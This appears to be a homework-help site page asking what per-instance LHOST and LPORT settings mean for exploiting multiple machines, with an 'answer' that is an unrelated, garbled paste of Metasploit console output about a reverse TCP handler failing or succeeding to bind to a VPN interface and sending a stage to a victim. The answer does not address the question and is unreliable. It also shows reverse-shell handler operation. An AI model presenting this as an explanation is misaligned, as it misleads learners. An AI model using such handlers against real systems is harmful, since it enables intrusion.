Academic Integrity: tutoring, explanations, and feedback — we don’t complete graded work or submit on a student’s behalf.

Since the LHOST and LPORT binaries are set per-instance, what does this mean for

ID: 3602124 • Letter: S

Question

Since the LHOST and LPORT binaries are set per-instance, what does this mean for exploiting multiple machines?

Explanation / Answer

call my bash function when the VPN TAP0 iface is up and available. -> no error displayed, binds to ETH_0_IP. I interrupt, re-explicit the LHOST to TAP_0_IP, run no error occurs and binds to TAP_0_IP, get session and move on. > quickie [SNIP] LPORT => 443 LHOST => [*] Started reverse TCP handler on :443 [*] Starting the payload handler... ^C[-] Exploit failed: Interrupt [*] Exploit completed, but no session was created. msf exploit(handler) > set LHOST LHOST => msf exploit(handler) > run [*] Started reverse TCP handler on :443 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to VICTIM_IP call my bash function without VPN so that the handler can not be bound to tap0. -> no error displayed, binds to ETH_0_IP. I interrupt, re-explicit the LHOST to TAP_0_IP, run An error occurs : "handler failed to bind on " > quickie [SNIP] LPORT => 443 LHOST => [*] Started reverse TCP handler on :443 [*] Starting the payload handler... ^C[-] Exploit failed: Interrupt [*] Exploit completed, but no session was created. msf exploit(handler) > set LHOST LHOST => msf exploit(handler) > run [-] Handler failed to bind to :443:- -